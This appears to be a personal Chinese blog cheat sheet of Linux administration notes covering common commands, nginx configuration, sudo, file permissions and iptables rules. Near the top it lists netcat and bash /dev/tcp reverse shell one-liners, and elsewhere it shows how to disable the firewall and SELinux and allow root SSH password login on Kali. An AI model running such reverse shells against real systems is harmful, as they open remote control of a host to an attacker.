美文网首页
Linux日常(一直更新)

Linux日常(一直更新)

作者: 表弟_212 | 来源:发表于2018-06-29 19:30 被阅读0次
    目前谁在登陆 w 
    查看设置开启自启动程序: systemctl list-unit-files | grep enabled
    实时监听某文件  tail -f 
    及时发现2分钟内数据变化find /root/ -mmin -2  
    目录来用存储日志 nginx错误日志/访问日志等  var (/var/log/nginx)
     临时/永久关闭防火墙 systemctl stop/enabled firewalld
    查询比find效率高 which
    查看PHP相关软件包 rqm -qa | grep php   
    查看服务进程信息  ps -ef|grep php    /  ps aux | grep iptables
    查看服务端口信息  netstat -lntup   筛选  netstat -anp | grep php  
    查看所有的关于yum的镜像源:  yum list  all | grep iptables
    设置开机自启:    systemctl enable iptables.service
    搜索文件 which find/php/apache等
    查看文件末尾几行 cat /etc/passwd | tail -n 4
    kali无法上网参考:https://www.jianshu.com/p/c3512daed318
    
    
    好用的库或扩展
    lrzsz : rz上传 --- 可以实现windows和linux系统数据相互传输
    bash-completion  : 补全代码(装一个爽得很)
    cowsay (animalsay): 打印小动物
    
    反弹shell :nc -lvvp 9999 -t -e /bin/bash    ---nc瑞士军刀 -l本地监听 -vv详细信息 -p端口    开启本地端口发布出去-----windows可使用 nc.exe ip 9999链接linux
    bash直接反弹 :1.bash -i >& /dev/tcp/192.168.1.1/8080 0>&1   2.本地 nc -l -p 8080
    
    
    firewalld 防火墙与selinux
    临时关闭:  systemctl stop firewalld  
    永久关闭:  systemctl disable firewalld
    selinux: 在某些特定场景限制系统root用户权利  
    临时关闭: setenforce 0 永久关闭: vi /etc/selinux/config => SELINUX=disabled
    
    
    文件:
    DNS服务配置文件查看: /etc/resolv.conf
    本地DNS映射文件: /etc/hosts  
    开启自动加载程序文件: /etc/rc.local  
    系统日志文件: /var/log/messages
    tail -f   --- 实时追踪日志文件信息变化
    ls -rt --- 按照时间信息进行反向排序,显示最新改动数据信息  
    vi : G尾行   gg首页 yy复制  p粘贴 dd删除 u撤销 ctrl+r反撤销 ^首航 $尾行
    ser nu/ set nonu 显示/取消行号    
    tar zcvf  /xx   : 压缩
    tar  tf  xxx        :   检查确认
    tar xvf xxx     : 解压
    zip test.zip test.txt  压缩test.text到test.zip
    unzip test.zip -d /root/   解压zip文件到 /root/下
    
    网卡:
    图形方式: nmtui
    文件调整: /etc/sysconfig/network-scripts/ifcfg-eth0
    
    检索文件信息内容:
    grep "oldboyedu"  /etc/services  --- 直接将指定信息检索出来
    grep "^[a-Z]" /etc/selinux/config 
    grep -r "oldboy"  /root             --- 筛选目录中所有文件信息
    find /etc/ -type f -size +5M  单位 c k M G  +大于多少文件 - 小于多少文件 没有+-正好多大文件 
    find /root/ -mtime +7  
    find /root/ -mtime -7
    find /root/ -mmin -2   及时发现2分钟内数据变化
    
    系统
    版本信息查看: cat /etc/redhat-release 
    内存信息查看: free -h  top 
    磁盘使用情况: df -h
    CPU运行状况:  lscpu top
    用户登录情况: w  ps -ef 查找进程  kill 进程号(PID)
    
    yum优化
    查看当前yum源:cat /etc/yum.repos.d/CentOS-Base.repo      
    curl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo
    curl -o /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-7.repo
    
    目录解说 tree -L 1
        bin -> usr/bin    --- 里面存储的是命令文件信息 二进制文件
        usr               --- 磁盘发展历史过程中,产生的新的挂载点目录           
        sbin -> usr/sbin  --- 里面存储的是命令文件信息 超级管理员可以执行命令
        boot              --- 存放系统运行启动文件信息
        dev               --- 存储设备文件信息
        etc***            --- 保存系统服务或者第三方服务程序配置文件                                     
        home              --- 普通用户家目录
        root              --- 管理员用户家目录
        lib -> usr/lib    --- 存放程序服务会加载一些库文件
        lib64 -> usr/lib64  
        mnt               --- 临时挂载点目录
        opt***            --- 存放第三方程序安装数据信息
        proc              --- 内核文件信息 进程文件 系统状态信息  --- 可以用于优化系统/提升安全性
                              此目录中存储数据信息都是默认存储在内存中
        tmp               --- 临时目录 临时存储数据信息(不太重要)  充当回收站
        var               --- 存储经常变化的数据信息 日志文件
    
    
    ngninx配置解析

    1.基础

     server { 
          listen       80;                          指定服务监听端口信息 用于接收用户访问请求
          server_name  xxxx.com;              指定网站域名信息
          root         /html/www;                   指定服务站点目录
          index        index.html;                  指定首页文件信息 会进行默认加载
        }
    

    2.编写共享网站配置信息

     server {
          listen       80;
          server_name  share.xxxx.com;
          root         /html/share;
          autoindex    on;
          }
      nginx.conf主配置文件中:
          include             /etc/nginx/mime.types;      --- 媒体资源类型文件,识别用户想访问资源信息
          default_type        application/octet-stream;   --- 未知文类型或默认识别为application/octet-stream 
                                                              默认加载识别为octet-stream类型文件,会直接进行下载
    

    3.可以根据用户地址信息进行访问控制

             决绝访问会显示403错误状态码
          server {
                listen       80;
                server_name  share.xxxx.com;
                root         /html/share;
                autoindex    on;
                charset      utf-8;
                location     /内部资源/ {
                    allow   10.0.0.1;
                    deny    all;
                }
          }
          
    

    4.可以根据用户登陆信息进行访问控制

     第一个历程:编写配置文件信息
          server {
          listen       80;
          server_name  share.xxxx.com;
          root         /html/share;
          autoindex    on;
          charset      utf-8;
          location     /内部资源/ {
              allow   10.0.0.1;
              deny    all;
          }
          location    /收费资源VIP/ {
              auth_basic           "高管登录认证";            --- 开启认证功能 
              auth_basic_user_file /etc/nginx/password.txt;     --- 指定加载一个用户密码文件
           }
          }
          
          第二个历程:生成密码文件
          yum install -y httpd-tools
              htpasswd -c /etc/nginx/password.txt oldboy   --- 设置用户密文密码信息
          
          第三个历程:进行认证测试访问 
    
    
    image.png
    image.png

    5.实现网站服务监听(有工具比这个更好)

          server {
          listen       80;
          server_name  www.xxxx.com;
          root         /html/www;
          index        index.html;
          location    /status/ {
             stub_status;                --- 开启监控平台页面
            }
          }
    

    6.让nginx和php建立关系
    server {
    listen 80 default_server;
    server_name bbs.oldboy.com;
    root /html/bbs;
    index index.php index.html;
    location ~ .php{ --- 匹配客户端访问php动态资源信息 fastcgi_pass 127.0.0.1:9000; --- 将动态资源请求抛送给后端PHP程序 root /html/bbs; --- 告知PHP程序,默认资源信息保存目录 fastcgi_index index.php; --- 在PHP收到Nginx发送消息后,没有特殊指定动态资源文件,默认处理index.php首页文件 fastcgi_param SCRIPT_FILENAMEdocument_root$fastcgi_script_name; --- 可以精准告知PHP需要处理文件路径信息
    include fastcgi_params;
    }
    }

    日志
        error.log   --- 记录网站服务运行或者访问过程中错误信息
    access.log  --- 记录访问者访问信息
    ① 记录客户端IP地址 
    ② 记录认证登录用户信息
    ③ 客户端访问网站时间信息
    ④ 获取访问网站请求方法和请求资源  和安全有关
    ⑤ 状态信息
    ⑥ 访问过程消耗的网站流量
    ⑦ 记录访问此页面是通过哪个网站进行引流转发的
    ⑧ 客户端利用什么软件在访问网站服务
    日志分析工具 
    
    基础权限
    提权操作
    root用户操作: visudo  == vi /etc/sudoers
    root    ALL=(ALL)       ALL
    oldboy  ALL=(ALL)       /usr/sbin/useradd, /usr/bin/vi /etc/sysconfig/network-scripts/ifcfg-eth0
    01. 直接查看已有权利       sudo -l 
    02. 赋予权利可以免密码执行特性操作    oldboy  ALL=(ALL)       NOPASSWD: /usr/sbin/useradd, /usr/bin/vi /etc/sysconfig/network-scripts/ifcfg-eth0
    除了rwx还有特殊权限: setuid setgid  粘滞位
    setuid  对于命令文件赋予特殊权限
        让所有用户可以拥有属主用户能力
        赋予setuid方式:  
        chmod  u+s 
    setgid  对于命令文件赋予特殊权限 
        让所有用户组可以拥有属组权限能力
        chmod  g+s  
     粘滞位: 
        将一些设置共享权限目录赋予粘滞位, 会让共享数据用户只能管理自己的数据
        对于其他人的数据只能进行查看, 不能删除或者重命名操作
        chmod o+t  /目录/
    
    
    主u(root) ->  组g (group)  -> 其它用户o(othre)
    chmod操作 :  r:4   w:2  x:1  -:0
    给予权限  :   chmod  777  或 chmod (u/g/o) (+/-/=r) 目录 给其它用户 (添加/删除/只有)读权限
    /etc/passwd   --- 记录整个系统中所有用户信息 
    /etc/shadow   --- 记录整个系统中所有用户密码信息
    
    4种软件部署方式
    1. 利用yum方式安装 apt-get
        特点说明:
        1)需要连接外网 
        2)软件下载并安装   
        3)可以解决软件依赖  
        yum install -y  vim telnet
        yum reinstall -y vim telnet
        yum remove/erase vim telnet  慎用
        yum search/provides  命令信息或文件信息    获取软件包名称信息/验证软件包是否存在
    
    1. 利用rpm方式安装
    lrzsz (需装改扩展)
    特点说明: 
        1)无法解决依赖问题
        2)可以不用连接外网
        第一个历程:需要下载好软件程序包
        第二个历程:将下载好的程序包放入到系统中
        rz -y               --- 加载需要上传的数据   上传过程
        sz -y oldboy.txt    --- 下载需要保存数据信息 下载过程
    

    3.编译安装程序

    第三种方式:编译安装程序
        特点说明: 
        1)无法解决依赖问题
        2)可以不用连接外网
        3)可以定制化安装软件程序 ***   
        第一个历程:需要下载好程序包(压缩包)/解压程序包
        第二个历程:进入到解压后的程序目录
        第三个历程:进行软件部署配置过程    开启功能/指定程序保存目录  
        第四个历程:编译过程 翻译 (软件程序代码信息翻译后让系统识别代码)
        第五个历程:编译安装过程
    

    4.编译安装程序

    特点说明:
        1)安装部署过程方便
        2)无法解决依赖问题
        3)无需连接外网环境
    
    
        nginx程序:
        第一种方式:yum安装软件程序
        yum install -y nginx
        
        
        第二种方式:采用编译方式安装
        第一个历程:下载软件程序源码包
        wget http://nginx.org/download/nginx-1.18.0.tar.gz
        
        第二个历程:需要解决软件依赖问题
        yum install -y pcre-devel openssl-devel
        
        第三个历程:解压软件程序/进行配置过程
        cd nginx
        useradd -M -s /sbin/nologin nginx    (用户不存在 可以创建出来)
        ./config
        --prefix=PATH  --- 指定安装程序数据保存目录
        --user=USER    --- 管理服务进程用户(虚拟用户)信息
        --with-http_ssl_module              --- 表示开启了https访问能    
        --with-http_stub_status_module      --- 表示开启nginx服务状态监控功能
        
        第四个历程: 编译过程  
        make
        
        第五个历程: 编译安装 
        make install
    
    
        启动服务程序:进行测试
        方式一:yum安装软件启动服务
        systemctl start nginx 
    
        方式二:编译安装需要使用命令脚本
        /app/nginx/sbin/nginx   --- 启动程序
        ==============================================
        网站服务启动之后。无法访问页面排查方法:
        1)确认服务运行状态
        2)确认服务网络配置   
           ping 10.0.0.100
           telnet 10.0.0.100 80
        3)可以在命令行测试页面
           curl -I 10.0.0.100
        ==============================================
    
    05. 网站服务目录结构: 
        1)配置文件所在目录  
           /etc/nginx    nginx.conf  conf.d/xxx.conf  --- yum安装软件配置目录 
           /app/nginx/conf/  nginx.conf               --- 编译安装软件配置目录
        2)站点目录所在位置 (图片 音频 视频 代码文件)
           /usr/share/nginx/html/                     --- 默认网站站点目录
        3)网站日志文件保存目录
           /var/log/nginx                             --- 程序日志文件信息
    
    
    防火墙服务概念介绍

    1.主机与主机之间通讯过程,数据包传递方式

        主机A        --->
        数据信息
        传输层头部信息 (TCP UDP  源端口 :目标端口)+ 数据信息
        网络层头部       (IP 源IP:目标IP)               传输层头部+数据信息              
        链路层头部       (源mac:目标mac)                网络层头部+传输层头部+数据信息
        物理层           将所有数据信息转换为二进制信息 01010101011101
        网卡(网线)     将0信号变为低电压传递 1信号高电压
        
        主机B        <---
        网卡(网线)     将电信号转为二进制信息
        物理层           将二进制信息转换成数据包
        链路层           源mac:目标mac 是不是自己本地主机上的mac地址
        网络层           源IP:目标IP    是不是自己本地主机上的IP地址
        传输层           源端口:目标端口
        查看到数据信息 处理响应
    

    2.Iptables是什么?

        开源的基于数据包过滤的防火墙工具,实现数据的流入与流出控制
        Iptables主要工作在OSI七层的二(链路层-很少关注)、三(网络层)、四(传输层)层,如果重新编译内核,
        Iptables也可以支持7层控制(squid代理+iptables)。
    
     ===========================================================================
        iptables使用原则:
        1)用户并发访问量不大时 使用软件防火墙即可
        2)用户并发访问量较高时 使用硬件防火墙
        ===========================================================================
        
        容器概念:装东西器皿  
        iptables程序容器:表概念-- 防护墙中的表拥有不同的功能策略 ???  包过滤
        表容器:          链概念-- 控制数据包处理方式   ??              进入包进行过滤
        链容器:          策略概念 -- 不同配置信息                        s 10.0.0.1地址  阻止/允许
                                                                          s 11.0.0.1地址  阻止/允许
        
        表和链概念:四表五链
        Filter:这是默认表, 实现数据过滤处理
                INPUT: 流量进入时,进行处理方式
                OUTPUT: 流量出去时,进行处理方式
                FORWARD:留经网卡流量
        NAT:当遇到新创建的数据包连接时将参考这个表, 会将数据进行映射转换
             源IP地址:10.0.0.1       局域网识别有效  --- 互联网 172.16.0.1 
             目标IP地址:172.16.0.1   局域网识别有效  --- 局域网 10.0.0.1 
             端口映射转换: 9000 --> 80
             地址转换原因:IP地址是有限的 0.0.0.0 ~ 255.255.255.255  40+亿 
                           IP地址重复使用 只有少部分可以重复使用 私网地址/公网地址
             OUTPUT:  自身产生的流量在出去时,做映射转换
             PREROUTING: 经过数据流量,在进入时做映射转换
             POSTROUTING: 经过数据流量,在出去时做映射转换             
        Managle:可以将数据包信息进行修改调整
        raw:    将数据包某些标记信息进行拆解
        
    04. 防火墙工作原理说明  filter表工作原理
        工作流程小结:
        1.  防火墙是层层过滤的,实际是按照配置规则的顺序从上到下,从前到后进行过滤的。
        2.  如果匹配上规则,即明确表示是阻止还是通过,数据包就不再向下匹配新的规则。
        3.  如果规则中没有明确表明是阻止还是通过的,也就是没有匹配规则,向下进行匹配,直到匹配默认规则得到明确的阻止还是通过。
        4.  防火墙的默认规则是所有规则执行完才执行的。
    
    05. 防火墙服务部署过程   
        yum install iptables-services
        systemctl start iptables.service
        
        [root@oldboy123 ~]# iptables -nL
        Chain INPUT (policy ACCEPT)
        target     prot opt source               destination         
        ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            state RELATED,ESTABLISHED
        ACCEPT     icmp --  0.0.0.0/0            0.0.0.0/0           
        ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0           
        ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0            state NEW tcp dpt:22
        REJECT     all  --  0.0.0.0/0            0.0.0.0/0            reject-with icmp-host-prohibited
        
        Chain FORWARD (policy ACCEPT)
        target     prot opt source               destination         
        REJECT     all  --  0.0.0.0/0            0.0.0.0/0            reject-with icmp-host-prohibited
        
        Chain OUTPUT (policy ACCEPT)
        target     prot opt source               destination 
        
        
        
        拒绝  10.0.0.10/24  访问主机22端口
        允许  10.0.0.0/24   访问主机22端口
            
        
        
    
    06. 防火墙服务应用方法
        iptables命令基本用法:
        查看信息用法:
        iptables -n -L               --- L列表显示相应表策略信息 n 尽量信息以数值方式显示
        iptables -n -L -t 表名       --- 具体查看每个表配置信息
        iptables -nL -v              --- 显示详细配置规则信息
        iptables -nL --line-number   --- 查看规则序号信息
        
        初始化清除操作:
        默认配置信息,旧的配置信息
        [root@A ~]# iptables -F         # 清空规则,但不会删除默认规则
        -F      #<==清除一个链或所有链上的规则
        [root@A ~]# iptables -Z         # 清空防火墙计数器  可以用于排错
        -Z      #<==链的记数器清零
        [root@A ~]# iptables -X         # 清空自定义规则    
        -X      #<==删除用户自定义的链
    
    
        方法一:利用防火墙实现数据包过滤
        eg01:禁止外网用户访问服务22端口  基于四层进行过滤处理
        iptables -t filter -A INPUT -p tcp --dport 22 -j DROP   添加规则 
        iptables -t filter -D INPUT 序号   添加规则 
        iptables -t filter -A OUTPUT -p tcp --sport 22 -j DROP   添加规则 
        
        eg02:只禁止10.0.0.1访问22端口    基于三层和四层进行过滤
        iptables -t filter -A INPUT -s 10.0.0.1 -p tcp --dport -j DROP 
        iptables -t filter -A OUTPUT -d 10.0.0.1 -p tcp --sport -j DROP
        iptables -t filter -A INPUT -s 10.0.0.0/24 -d 172.16.0.0/24  DROP 
        
        eg03:实现禁止ping
        双方向禁ping
        iptables -t filter -A INPUT -p icmp -j DROP   彻底实现了禁止ping过程
        
        单反向禁ping
        iptables -A INPUT -p icmp --icmp-type 8 -j DROP  禁止windows ping linux 
        iptables -A OUTPUT -p icmp --icmp-type 8 -j DROP 禁止linux ping windows
        icmp协议说明:
        8类型是请求icmp包
        0类型是响应icmp包
        禁止windows --- linux    linux上配置禁止icmp8类型包进来
        
        eg04:禁止多个端口不能访问
        多端口进行规则配置:
        方式一:连续多端口进行阻止
        iptables -A INPUT -p tcp --dport 23:80 -j DROP  
    
        方式二:间隔多端口进行配置
        iptables -A INPUT -p tcp --dport 23,25,80 -j DROP
        iptables -A INPUT -m multiport -p tcp --dport 23,25,80 -j DROP
    
        eg05:如何调整规则顺序
        iptables -I INPUT -p tcp --dport 22 -j DROP  --- 将指定插入到某个规则之上 或直接插入到第一条规则
        
        -t -A -D -I -s -d -p --dport --sport -j -m 
        
        eg05:默认规则修改
        默认规则修改为: ACCEPT  链规则采用黑名单
        默认规则修改为: DROP    链规则采用白名单  最安全
        iptables -P INPUT DROP
        
        11:45 ~ 12:00 休息15分钟
    
        方法二:利用防火墙实现数据包映射
        1)将拥有内网IP地址主机 实现访问互联网
        第一个历程:配置内网地址网卡信息
        网卡地址:172.16.1.10/24 
        网关地址:172.16.1.201
        DNS地址: 223.5.5.5 
        
        第二个历程:开启防火墙服务器转发功能
        vi /etc/sysctl.conf
        net.ipv4.ip_forward = 1
        sysctl -p  --- 加载系统内核配置
        
        第三个历程:配置防火墙NAT功能实现内网访问外网
        iptables -t nat -A POSTROUTING -s 172.16.1.10 -o eth0 -j SNAT --to-source 10.0.0.200
        
    
        2)实现外网主机可以访问内网服务
        iptables -t nat -A PREROUTING  -d 10.0.0.200 -p tcp --dport 9000 -j DNAT --to-destination 172.16.1.10:3389
        10.0.0.200 9000 === 172.16.1.10 3389
        
        总结:将iptables命令参数进行熟悉  
        
        PS:防火墙配置完毕后,一定要保存配置
        iptables-save >/etc/sysconfig/iptables
        
        
        
        
           
    

    第一步:开启kail 远程ssh,开启办法如下:
    修改sshd_config文件,命令为:vi /etc/ssh/sshd_config
    将#PasswordAuthentication no的注释去掉,并且将NO修改为YES //kali中默认是yes
    将PermitRootLogin without-password修改为PermitRootLogin yes
    然后,保存,退出vi

    相关文章

      网友评论

          本文标题:Linux日常(一直更新)

          本文链接:https://www.haomeiwen.com/subject/wifzyftx.html